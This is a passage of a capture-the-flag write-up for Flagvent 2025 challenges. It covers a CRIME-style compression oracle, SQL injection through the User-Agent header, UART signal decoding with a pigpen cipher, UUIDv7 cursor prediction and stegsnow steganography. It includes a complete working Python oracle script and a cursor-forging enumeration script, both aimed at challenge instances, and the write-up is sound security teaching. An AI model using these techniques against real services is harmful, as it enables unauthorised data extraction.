Via: 1.1 Caddy
If I add another wish and try again, the content length shows that:
oxdf@hacky$ curl -I https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337/wishlist
HTTP/1.1 200 OK
Content-Length: 491
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Dec 2025 12:24:08 GMT
Via: 1.1 Caddy
Solution
Overview
The /wishlist page has the string “The flag is FV25{“ and then the flag, but I can only get the size of that page under gzip and zstd compression. If I fill the wishlist with specially crafted strings containing what I know of the flag plus the next character, if that next character matches the real flag, then the compression will be different than if it does not. I can abuse this to do an oracle attack. I’ll show two different versions.
CRIME Oracle
On originally solving I used a variation on an attack against CVE-2012-4929, using this POC from mpgn. I’ll use that to make the following script:
#!/usr/bin/env -S uv run
# /// script
# requires-python = ">=3.10"
# dependencies = ["requests"]
# ///
"""
CRIME-style oracle using two-tries method (requests version)
Based on: https://github.com/mpgn/CRIME-poc/blob/master/CRIME-rc4-poc.py
"""
import requests
import string
import random
import argparse
parser = argparse.ArgumentParser(description='CRIME-style compression oracle')
parser.add_argument('instance', help='Instance URL (e.g., abc123.challs.flagvent.org)')
parser.add_argument('found', nargs='?', default='', help='Already found flag content (after FV25{)')
args = parser.parse_args()
# Extract hostname from URL if full URL given
HOST = args.instance.replace('https://', '').replace('http://', '').split(':')[0].split('/')[0]
BASE_URL = f"https://{HOST}:1337"
session = requests.Session()
def add_wish(wish):
session.post(f"{BASE_URL}/add_wish", data={"wish": wish})
def get_length(encoding="gzip"):
resp = session.head(f"{BASE_URL}/wishlist", headers={"Accept-Encoding": encoding})
return int(resp.headers.get("Content-Length", 0))
def two_tries_test(prefix, char):
rand1 = ''.join(random.choices(string.ascii_lowercase + string.digits, k=17))
rand2 = ''.join(random.choices(string.ascii_lowercase + string.digits, k=17))
garbage = '~#:/[|/ç'
current_flag = "The flag is FV25{" + prefix
payload1 = rand1 + current_flag + char + garbage + rand2
payload2 = rand1 + current_flag + garbage + char + rand2
for _ in range(8):
add_wish(payload1 * 15)
len1 = get_length("gzip")
for _ in range(8):
add_wish(payload2 * 15)
len2 = get_length("gzip")
return len1, len2, len1 < len2 # True if char likely matches
CHARSET = '_' + string.digits + string.ascii_letters + "}{"
def solve_iterative():
found = args.found
for step in range(50):
if found.endswith("}"):
break
winner = None
for i, char in enumerate(CHARSET):
len1, len2, matches = two_tries_test(found, char)
status = "✓" if matches else " "
print(f"\rFV25{{{found}{char} {i+1}/{len(CHARSET)} | {len1} vs {len2} | {status} ", end="", flush=True)
if matches:
winner = char
break
if not winner:
print(f" No match found! Dead end.")
break
found += winner
print(f"\rFinal: FV25{{{found}" + " " * 20)
if __name__ == "__main__":
solve_iterative()
For a given string, it will create two equal length strings:
payload1 = rand1 + current_flag + char + garbage + rand2
payload2 = rand1 + current_flag + garbage + char + rand2
for _ in range(8):
add_wish(payload1 * 15)
len1 = get_length("gzip")
for _ in range(8):
add_wish(payload2 * 15)
len2 = get_length("gzip")
Both start with random junk, then the current flag. The first one then has the character to check and then garbage. The second has the same garbage and then the character.
If the character is the next character in the real flag, there will be more compression, so that payload will come back shorter. If not, it will be the same.
This takes a long while to run, and because it’s not deterministic, it can find a false character. I’ve written the args so that I can back up a couple characters and try again. Eventually it will find the full flag.
oxdf@hacky$ uv run solve_crime.py https://20837ce1-ef38-4687-9ae8-3381b785ac21.challs.flagvent.org:1337/ n0_M043_f4x3s_p1s
Final: FV25{n0_M043_f4x3s_p1s}
Flag: FV25{n0_M043_f4x3s_p1s}
FV25.18
Challenge
In order to facilitate communication amongst all elves working in the gift factory, Santa has asked one of the trainee eleves in the IT department to implement a new messenger application. Besides sending messages to other elves or the whole team, users of the application are also able to search for gifts that can be created in the gift factory. Unfortunately, in order to finish the application in time for the upcoming holiday season, essential security tests have been skipped. |
|
| Categories: |
|
| Level: | medium |
| Author: | lu161 |
The challenge spawns a website.
Enumeration
index.php
The site offers a few things on the main page:
There are two parts to this website, each basically unrelated to the other.
The “Sign up for chat” form requires a username and password. The password has to be at least 8 characters, and the username has to be alphanumeric. These restrictions happen server-side (there is no JS in this site).
Once I register, it’s back to index.php to log in.
Messenger
On logging in, there’s a chat interface:
The only message is from santa to me, which says I can message other elves or “@everyone”. If I try to send “hi”, SYSTEM replies:
If I send “@bell hi”, it works:
Interestingly, “hi @bell” only kind of works:
It seems to not handle well if the name isn’t first, but that isn’t a vulnerability we can exploit.
I can send to “@everyone” as well:
Gift Registry
Searching in the “Gift search” box on the index page leads to /santa_products.php. If I search for “a”, it returns a list of products that have “a” in them:
If I look at the page source, there’s an HTML comment with my user agent string:
That’s a bit odd.
Flag Part 1
The products page is implying that it’s logging my user agent string. I’ll test that in Burp Repeater:
That’s a crash due to SQL with a broken INSERT INTO statement.
I can abuse this with a subquery:
There are three databases:
There are two tables in the santa_products database:
There are three columns in access_log:
And two in products:
Dumping the product names shows half a flag:
Flag Part 2
The second half of the flag is in the chat application. If I think about how the application shows me messages, I’m going to assume there’s a messages table in a database somewhere. I didn’t see it through the SQLI, but the chat app could user a different user to authenticate with access to different tables, or it could be stored in a different DB.
It’s worth trying usernames to see if they happen to trip interesting results. In this case, registering as everyone shows more messages:
The “text” from some kid is the second half of the flag base64-encoded:
oxdf@hacky$ echo "MHJfM3YzcnkwbjN9" | base64 -d
0r_3v3ry0n3}oxdf@hacky$
Flag: FV25{pr353nt5_f0r_3v3ry0n3}
FV25.20
Challenge
Santa’s IT team developed a special operating system used to process wishes securely. In a recent incident, the key for decrypting messages got lost and all backups were destroyed. The only thing left are the following two files - Can you help Santa? |
|
| Categories: |
|
| Level: | medium |
| Author: | lu161 |
| Attachments: |
📦 santaos-communications.tar.gz
|
The download contains three files:
oxdf@hacky$ ls santaos-communications/
intercepted_message.txt intercepted_SantaOS.txt santaOS_logo.jpeg
Files
intercepted_message.txt
The first file is a text file with a challenge and a base64-encoded blob:
We intercepted following message sent from a device using Santa OS.
Can you decrypt it?
U2FsdGVkX18IDMhwQMG9HpiCBLdo1SuQWoHNWRkzgaNDnDlEBruweUk70Bc/Kmds
DRFkbzUtkWOpG69ULK9Htp8LwINUfnwGQ3cMt/P2tnJfIeRUO0RDFryjUxZgUznL
2VT3wYZli3jWsiqAzEskyfHR8V5qGQjhJwnaV1vsfvxddogdukNBBA1UFYdXK9u+
D87DfWseLg33Zn4eGMy59GOrnB1rq2mXpLYHHKGDOQGpC7gwQ63RQEmlFki5CxS6
5ekYT7jCPG9XuuH+qP9WeHcj7Jjz6zxerz/7Jr+UaHco9h+sRcD0caWTFPu/OYfI
jMts0YZjosFOGTWPOw0Ly2ZlZlwPdgUmnKgG2F2j44YuuIVuBHVuGHoLBrz0mvjT
zcJxoE4wNxuGR3IFFbWDXIncbea/JYSGQ1ORuBIdXAGAlXfezJj+mYkf169nN6Jq
bWwpThzkGvexBMbMG6qAPqCkz3is0KU6QLs/gL+idkUJC96vfXsafMVJ9NACRjD3
HyUqqLJv8FG2sMwCGFZTXOvapHJxqizb7RzmRlv8lZ95oIu7ujqEMYb4p9SI2/MR
TZ+fU3tAPtx20/sFyWjJau0EL8BvQ1VjtTC/IJG6oe0NRlRU6b34vRxBa+AuARHx
GGSugTA0fp3X0pAeLb/R2g==
Decoding that shows it starts with the string “Salted__”:
oxdf@hacky$ cat intercepted_message.txt | tail -11 | base64 -d | xxd
00000000: 5361 6c74 6564 5f5f 080c c870 40c1 bd1e Salted__...p@...
00000010: 9882 04b7 68d5 2b90 5a81 cd59 1933 81a3 ....h.+.Z..Y.3..
00000020: 439c 3944 06bb b079 493b d017 3f2a 676c C.9D...yI;..?*gl
00000030: 0d11 646f 352d 9163 a91b af54 2caf 47b6 ..do5-.c...T,.G.
00000040: 9f0b c083 547e 7c06 4377 0cb7 f3f6 b672 ....T~|.Cw.....r
00000050: 5f21 e454 3b44 4316 bca3 5316 6053 39cb _!.T;DC...S.`S9.
00000060: d954 f7c1 8665 8b78 d6b2 2a80 cc4b 24c9 .T...e.x..*..K$.
00000070: f1d1 f15e 6a19 08e1 2709 da57 5bec 7efc ...^j...'..W[.~.
00000080: 5d76 881d ba43 4104 0d54 1587 572b dbbe ]v...CA..T..W+..
00000090: 0fce c37d 6b1e 2e0d f766 7e1e 18cc b9f4 ...}k....f~.....
000000a0: 63ab 9c1d 6bab 6997 a4b6 071c a183 3901 c...k.i.......9.
000000b0: a90b b830 43ad d140 49a5 1648 b90b 14ba ...0C..@I..H....
000000c0: e5e9 184f b8c2 3c6f 57ba e1fe a8ff 5678 ...O..<oW.....Vx
000000d0: 7723 ec98 f3eb 3c5e af3f fb26 bf94 6877 w#....<^.?.&..hw
000000e0: 28f6 1fac 45c0 f471 a593 14fb bf39 87c8 (...E..q.....9..
000000f0: 8ccb 6cd1 8663 a2c1 4e19 358f 3b0d 0bcb ..l..c..N.5.;...
00000100: 6665 665c 0f76 0526 9ca8 06d8 5da3 e386 fef\.v.&....]...
00000110: 2eb8 856e 0475 6e18 7a0b 06bc f49a f8d3 ...n.un.z.......
00000120: cdc2 71a0 4e30 371b 8647 7205 15b5 835c ..q.N07..Gr....\
00000130: 89dc 6de6 bf25 8486 4353 91b8 121d 5c01 ..m..%..CS....\.
00000140: 8095 77de cc98 fe99 891f d7af 6737 a26a ..w.........g7.j
00000150: 6d6c 294e 1ce4 1af7 b104 c6cc 1baa 803e ml)N...........>
00000160: a0a4 cf78 acd0 a53a 40bb 3f80 bfa2 7645 ...x...:@.?...vE
00000170: 090b deaf 7d7b 1a7c c549 f4d0 0246 30f7 ....}{.|.I...F0.
00000180: 1f25 2aa8 b26f f051 b6b0 cc02 1856 535c .%*..o.Q.....VS\
00000190: ebda a472 71aa 2cdb ed1c e646 5bfc 959f ...rq.,....F[...
000001a0: 79a0 8bbb ba3a 8431 86f8 a7d4 88db f311 y....:.1........
000001b0: 4d9f 9f53 7b40 3edc 76d3 fb05 c968 c96a M..S{@>.v....h.j
000001c0: ed04 2fc0 6f43 5563 b530 bf20 91ba a1ed ../.oCUc.0. ....
000001d0: 0d46 5454 e9bd f8bd 1c41 6be0 2e01 11f1 .FTT.....Ak.....
000001e0: 1864 ae81 3034 7e9d d7d2 901e 2dbf d1da .d..04~.....-...
“Salted__” is the signature for a OpenSSL encrypted file. I’ll need a password.
intercepted_SantaOS.txt
intercepted_SantaOS.txt is a large base64-encoded blob. It decodes to over 10,000 lines of ASCII text:
oxdf@hacky$ cat intercepted_SantaOS.txt | base64 -d | wc -l
10734
oxdf@hacky$ cat intercepted_SantaOS.txt | base64 -d | head -20
$timescale 10 us $end
$var wire 1 ! D0 $end
$var wire 1 " D1 $end
$var wire 1 # D2 $end
$var wire 1 $ D3 $end
$var wire 1 % D4 $end
$var wire 1 & D5 $end
$var wire 1 ' D6 $end
$var wire 1 ( D7 $end
$upscope $end
$enddefinitions $end
#0 0! 1" 0# 1$ 1% 1& 1' 1(
#415477 1! 1#
#480392 0!
#480396 1!
#586717 0#
#586759 1#
#586769 0#
#586790 1#
#586800 0#
This is a Value Change Dump (VCD) file, which is:
an ASCII-based format for dumpfiles generated by EDA logic simulation tools. The standard, four-value VCD format was defined along with the Verilog hardware description language by the IEEE Standard 1364-1995 in 1996.
The header of this file defines eight wires, D0-D7, but only D2 (represented by #) has signal activity. The timescale is 10 microseconds.
I can upload the file into vc.drom.io to visualize the data. The only real data is in D2:
Zooming in shows there’s a signal there:
santaOS_logo.jpeg
santaOS_logo.jpeg is the logo for Santa OS:
There aren’t any interesting strings or exif data in the image. It’ll be a slight hint later.
Solution
Decode the VCD Signal
VCD files are commonly used to capture hardware signals from logic analyzers or oscilloscopes. Of the eight defined wires (D0-D7), only D2 shows activity. This single active data line is characteristic of UART serial communication - other common protocols like SPI use multiple data lines, and I2C uses two wires (data + clock).
UART typically uses the 8N1 format: 8 data bits, no parity, 1 stop bit. A frame looks like:
[START=0] [D0] [D1] [D2] [D3] [D4] [D5] [D6] [D7] [STOP=1]
I’ll write a Python script to decode the UART signal:
#!/usr/bin/env python3
def parse_vcd(filename):
transitions = []
current_time = 0
with open(filename) as f:
for line in f:
line = line.strip()
if line.startswith('#') and line[1:].isdigit():
current_time = int(line[1:])
elif line in ('0#', '1#'):
transitions.append((current_time, int(line[0])))
return transitions
def decode_uart(transitions, bit_time=10):
chars = []
i = 0
while i < len(transitions):
time, val = transitions[i]
if val == 0:
byte_val = 0
for bit in range(8):
sample_time = time + bit_time * (bit + 1) + bit_time // 2
bit_val = 1
for t, v in transitions:
if t <= sample_time:
bit_val = v
else:
break
byte_val |= (bit_val << bit)
chars.append(chr(byte_val))
i += 1
while i < len(transitions) and transitions[i][0] < time + bit_time * 10:
i += 1
else:
i += 1
return ''.join(chars)
transitions = parse_vcd('santaos.vcd')
print(decode_uart(transitions))
Running this reveals a boot log:
oxdf@hacky$ uv run decode_uart.py
[*] Reading santaos-communications/intercepted_SantaOS.txt
[*] Base64 decoding...
[*] Parsing VCD file...
[*] Found 10720 transitions on D2 wire
[*] Decoding UART (bit_time=10, 8N1)...
============================================================
DECODED OUTPUT:
============================================================
Ho! Ho! Ho! Welcome to *SantaOS* - Version 2025.12.25
Command line: BOOT_IMAGE=/boot/vmlinuz-christmas root=UUID=fa1c0f83-a32d-4d4e-bfbf-d2369b17b32e ro quiet
Loading the sleigh... Please hold on while we gather the reindeer...
Kernel: Sleigh bells ring... are you listening?
Booting from the North Pole
ACPI: Reindeer fuel gauge check complete. All systems go!
BIOS: Powered by holiday magic! Christmas Eve 2025
Memory: 8GB of Christmas joy loaded and ready to go!
DMI: Reindeer Inc. SleighMaster 9000, BIOS Snowfall Edition 1.0
e820: Warming up the North Pole... All presents accounted for.
e820: [mem 0x0000000100000000-0x000000024fffffff] usable (Candy Cane Vault)
efi: ELF Loader: Powered by the Christmas Spirit
[Holiday Bug]: the boot CPU is running at full Christmas magic frequency.
Random init: random: twinkling lights initialized.
Random: Christmas cheer generated for all processes.
early console: Sleigh bells heard faintly in the distance...
Ho! Ho! Ho! Booting Christmas Kernel...
Loading the Reindeer Operating System from the North Poles initrd...
Freeing unused kernel memory: Wrapping paper discarded.
Write protecting the cookie storage: 8192 cookies saved.
Rudolph: Filesystem reindeer_root mounted successfully.
Starting systemd... The elves are busy assembling presents.
systemd[1]: Time synchronized with Santa's Workshop clock.
systemd[1]: Loaded Encryption Service - **AES-256 with CBC mode**
systemd[1]: Encryption Key (UPPERCASE): ><^v<<<^^v^^^>v>><^v<<<^^vvvv>v>
Starting the Holiday-themed GNOME Display Manager (gdm)...
gdm[456]: **Merry Christmas!** GNOME Display Manager started.
Login: Welcome to SantaOS! Type your secret holiday wish to begin. All messages are encrypted.
============================================================
[!] Found: systemd[1]: Encryption Key (UPPERCASE): ><^v<<<^^v^^^>v>><^v<<<^^vvvv>v>
Pigpen Cipher
The key is a string of arrow characters: ><^v<<<^^v^^^>v>><^v<<<^^vvvv>v>
There are many ways to decode this, but the the one that works is the Pigpen cipher. The logo with a pig is a hint in that directory. Pigpen has a bunch of other symbols that give it the ability to encode all the letters, but this text uses only four:
^→ Vv→ S<→ U>→ T
Applying this mapping to the arrow sequence:
><^v<<<^^v^^^>v>><^v<<<^^vvvv>v>
Translates to:
TUVSUUUVVSVVVTSTTUVSUUUVVSSSSTST
The boot log says “(UPPERCASE)”, confirming this is the correct format.
Decrypt the Message
I’ll use OpenSSL to decrypt the message:
oxdf@hacky$ openssl enc -aes-256-cbc -d -a -in intercepted_message.txt -pass pass:TUVSUUUVVSVVVTSTTUVSUUUVVSSSSTST
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
On a snowy night, so crisp and bright,
A challenge arose in the cold moonlight.
With hidden clues, through riddles and rhyme,
You searched for the flag, beyond space and time.
Through encrypted snowflakes and icy streams,
You followed the path of a hacker’s dreams.
In code and ciphers, you found the way,
To uncover the secret that lay in the fray.
Now at last, you’ve cracked the code tight,
And here’s your prize, shining in the night:
FV25{W3lc0m3_t0_S4nt4_OS}
Flag: FV25{W3lc0m3_t0_S4nt4_OS}
FV25.21
Challenge
Santa has spent the whole year adding names from around the world to his Nice List. In a surprising move, he’s publicly releasing what gift each person will receive. Rumour has it the very best presents were reserved for the first names added to the list. |
|
| Categories: |
|
| Level: | medium |
| Author: | mobeigi |
Website
Legit Usage
The website asks for my name:
On entering it, it loads the nice list:
As I scroll down, it loads more and more.
Requests
After registration there’s a post to /api/list?limit=10 and then to /api/list?limit=10&before=eyJpZCI6IjAxOWI1MmMyLTNkMWItNzQyMS04ZTE3LTM2ODcyN2Q3NDcyMCJ9.
In the first response, it has 10 users with data in items, as well as a nextCursor, totalCount, and hasMore:
HTTP/1.1 200 OK
Server: nginx/1.29.4
Date: Sun, 21 Dec 2025 21:05:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1300
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
RateLimit-Policy: 240;w=60
RateLimit-Limit: 240
RateLimit-Remaining: 238
RateLimit-Reset: 59
ETag: W/"514-9/+SPbaNjJCF3e6TynDtKPMt69o"
{"items":[{"id":"019b52cd-2d5d-7dd8-b3e0-3a192c592c47","personName":"R. Yessi Saputra","gift":"Movie Theater Gold Class/VIP Tickets"},{"id":"019b52cb-e1cf-7b0f-b22e-8690d7f2c020","personName":"Justyna Materek","gift":"Pottery Wheel Workshop"},{"id":"019b52ca-a99b-7916-916d-dfb93d042ae0","personName":"R. Janet Sudiati","gift":"Tablecloth (Neutral Color)"},{"id":"019b52c9-7672-744c-b12b-a3da0f1e24d3","personName":"Elizabeth Stevens","gift":"Stainless Steel Whisk"},{"id":"019b52c8-2f7f-79d3-9b17-222afb18fd2a","personName":"山田 里佳","gift":"Fitbit Charge 6"},{"id":"019b52c6-e286-7046-b0eb-86391e843fec","personName":"Dion Eijkelboom","gift":"Selmer Paris Reference 54 Alto Saxophone"},{"id":"019b52c6-1c0c-75c8-97bf-8c3823c56985","personName":"Jan Strøm","gift":"Aquarium Shark Dive"},{"id":"019b52c4-cee7-74c0-9ca7-e7c3d089f2bd","personName":"Sra. Mariah Borges","gift":"Magic Show Tickets"},{"id":"019b52c3-ad82-7fb4-8fe0-655e912573b0","personName":"박순자","gift":"Furniture Sliders (for moving heavy items)"},{"id":"019b52c2-3d1b-7421-8e17-368727d74720","personName":"Flavio Roda Colomer","gift":"Goop \"This Smells Like My Vagina\" Candle (Gwyneth Paltrow)"}],"nextCursor":"eyJpZCI6IjAxOWI1MmMyLTNkMWItNzQyMS04ZTE3LTM2ODcyN2Q3NDcyMCJ9","count":10,"hasMore":true,"totalCount":465632}
The token used for next is just base64 encoded JSON:
oxdf@hacky$ echo eyJpZCI6IjAxOWI1MmMyLTNkMWItNzQyMS04ZTE3LTM2ODcyN2Q3NDcyMCJ9 | base64 -d
{"id":"019b52c2-3d1b-7421-8e17-368727d74720"}
JavaScript
There is app.js that manages the loading of the list, and it has obfuscated parts that contain a bunch of fake flags. I won’t go through this here.
UUID Prediction
UUIDv7
Inspecting the UUIDs that come back from a single query, I’ll notice that they all start with the same six characters, and the seventh is only c or b:
oxdf@hacky$ curl -s "https://998f2a87-116e-4f2f-8a06-d0235b1d1702.challs.flagvent.org:31337/api/list?limit=10&before=eyJpZCI6IjAxOWI1MmMyLTNkMWItNzQyMS04ZTE3LTM2ODcyN2Q3NDcyMCJ9" | jq -r .items[].id
019b52c1-5260-7b6d-8fd3-0a548cfa4925
019b52c0-07a6-7737-ade9-6d3437683068
019b52bf-0d02-7e9d-be2e-a0fe3096eef8
019b52bd-c64e-7114-9967-3de6b446e9eb
019b52bc-aac2-79c2-b36f-1ca24e8f3a6d
019b52bb-953d-799d-b86e-08b708a476d3
019b52b9-f383-7a9a-8b85-cd1319f4ab81
019b52b9-2a5a-7545-badd-c788ded96be9
019b52b7-fa8a-7f80-932c-402118bfd006
019b52b6-d6dc-78b0-9a8e-2ef769943acc
The first character of the third group is the UUID version, in this case 7.
UUID version 7 has a timestamp making up the first six bytes before the version. I can paste it into a site like this and get the timestamp. For example:
Binary Search
To easily quickly test UUIDs, I’ll write a quick Python script:
# /// script
# requires-python = ">=3.11"
# dependencies = [
# "requests",
# ]
# ///
import requests
import sys
from base64 import b64encode
host = "https://6b7597c8-4b56-4a9d-96c1-6c1a88918c3f.challs.flagvent.org:31337/"
if len(sys.argv) != 2:
print(f"usage: {sys.argv[0]} <UUID>")
sys.exit()
#curl -s "https://998f2a87-116e-4f2f-8a06-d0235b1d1702.challs.flagvent.org:31337/api/list?limit=10&before=$(echo -n '{"id":"01900000-d6dc-78b0-9a8e-2ef769943acc"}' | base64 -w0)"
token = b64encode(f'{{"id":"{sys.argv[1]}"}}'.encode()).decode()
url = f"{host}api/list?limit=3&before={token}"
resp = requests.get(url)
print(resp.text)
Now I can test a UUID easily:
oxdf@hacky$ uv run fetch_uuid.py 019b52b6-d6dc-78b0-9a8e-2ef769943acc
{"items":[{"id":"019b52b5-668a-7da0-8841-726633069154","personName":"माननीय कशोर जैन","gift":"Avocado Slicer Tool"},{"id":"019b52b4-35a9-7b2e-81c3-d2543709bcf1","personName":"Ricciotti Nicoletti","gift":"Fliteboard Air Series 3"},{"id":"019b52b3-0049-7dae-b0ee-9f8415c87603","personName":"Luthfi Nasyidah","gift":"Vespa GTS 300 Super Sport"}],"nextCursor":"eyJpZCI6IjAxOWI1MmIzLTAwNDktN2RhZS1iMGVlLTlmODQxNWM4NzYwMyJ9","count":3,"hasMore":true,"totalCount":465632}
oxdf@hacky$ uv run fetch_uuid.py 019b52b6-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
I’ll lower the timestamp until I find no hasMore:
oxdf@hacky$ uv run fetch_uuid.py 019b0000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01900000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
I’ll work through cutting the remaining space roughly in half to zero in on the earliest timestamp in the data set:
oxdf@hacky$ uv run fetch_uuid.py 019b52b6-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 019b0000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01900000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01950000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01920000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01935000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01945000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01940000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01942800-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01941400-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01942000-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
true
oxdf@hacky$ uv run fetch_uuid.py 01941a00-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01941d00-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
oxdf@hacky$ uv run fetch_uuid.py 01941f00-d6dc-78b0-9a8e-2ef769943acc | jq .hasMore
false
Once I get close to the end, there’s a flag in the data:
oxdf@hacky$ uv run fetch_uuid.py 01941f2b-d6dc-78b0-9a8e-2ef769943acc | jq .
{
"items": [
{
"id": "01941f2b-3673-7fa5-814d-4f8ef731dfb2",
"personName": "darkice__",
"gift": "Chamois Drying Cloth"
},
{
"id": "01941f2a-9718-708c-b47f-515457f0152a",
"personName": "austriangam3r",
"gift": "Samsung Galaxy Tab S9"
},
{
"id": "01941f29-7c00-7625-8e2e-e327b7dec395",
"personName": "You",
"gift": "🚩A shiny flag! FV25{Pr3d1ct4bl3_P4g1n4t10n_w1th_UUIDv7} 🚩"
}
],
"nextCursor": null,
"count": 3,
"hasMore": false,
"totalCount": 465632
}
Flag: FV25{Pr3d1ct4bl3_P4g1n4t10n_w1th_UUIDv7}
FV25.H4
Challenge
This extra flag is hidden inside another challenge. |
|
| Categories: |
|
| Level: | hidden |
| Author: | hidden |
Solution
In Day 21, Santa’s Nice List, when I start the challenge, there’s a page that shows for about a minute, auto-refreshing until the main page comes up:
The source for this is pretty straight forward:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="refresh" content="3">
<title>Challenge Starting</title>
<style>
...[snip]...
</style>
</head>
<body>
<div class="container">
<img src="https://flagvent.org/img/flagvent.png" alt="Flagvent Logo" class="logo">
<h1>🎄 Challenge is starting 🎄</h1>
<div class="spinner"></div>
<p>Please wait while the challenge is starting (this can take up to a minute).</p>
</div>
<script>
// Create falling snowflakes
for (let i = 0; i < 50; i++) {
const snowflake = document.createElement('div');
snowflake.className = 'snowflake';
snowflake.innerHTML = '❄';
snowflake.style.left = Math.random() * 100 + '%';
snowflake.style.animationDuration = (Math.random() * 3 + 2) + 's';
snowflake.style.animationDelay = Math.random() * 5 + 's';
snowflake.style.fontSize = (Math.random() * 10 + 10) + 'px';
document.body.appendChild(snowflake);
}
</script>
</body>
</html>
There’s some weird whitespace at the end after the closing script tag before the closing body tag.
I’ll save a copy of this page, and look at the lines that are just whitespace:
oxdf@hacky$ cat index.html | grep -P '^\s*$' | xxd
00000000: 0920 2020 2009 2020 0920 2009 2020 2020 . . . .
00000010: 2009 2020 2020 0920 2020 2020 2020 0920 . . .
00000020: 2020 2020 2009 2020 2020 2020 0920 2020 . .
00000030: 200a 2020 2020 2020 0920 2020 2020 2009 . . .
00000040: 2020 2009 2020 2020 2020 2009 2020 2020 . .
00000050: 2009 2020 2020 0920 2020 2020 2020 0909 . . ..
00000060: 2020 0920 2020 200a 2020 0920 2009 2020 . . . .
00000070: 2009 2009 2020 2020 0909 2020 2020 0920 . . .. .
00000080: 2009 2020 2020 200a 0920 2020 0920 2020 . .. .
00000090: 2020 2020 0920 2020 2020 2020 0920 0920 . . .
000000a0: 2009 2020 0920 2020 0920 2020 2009 2020 . . . .
000000b0: 2020 200a 2020 2020 2020 2009 2020 2020 . .
000000c0: 2020 2009 2020 2020 0920 2020 2020 2009 . . .
000000d0: 2020 2009 2020 2020 2020 2009 0920 0920 . .. .
000000e0: 0a09 2020 0920 2020 0920 0920 2020 2020 .. . . .
000000f0: 2020 0920 2020 2020 2009 2020 2020 200a . . .
00000100: 0a
It’s an interesting mix of tabs and space, which is how stegsnow stores data. I ran into stegsnow in the first hidden flag in the 2019 Hackvent. It uses extra whitespace at the end of lines as a place to encode data.
I’ll pass the full index.html to stegsnow with the -C flag to decompress the data, and it dumps the flag:
oxdf@hacky$ stegsnow -C index.html
FV25{h1dd3n_1n_5n0w}
Flag: FV25{h1dd3n_1n_5n0w}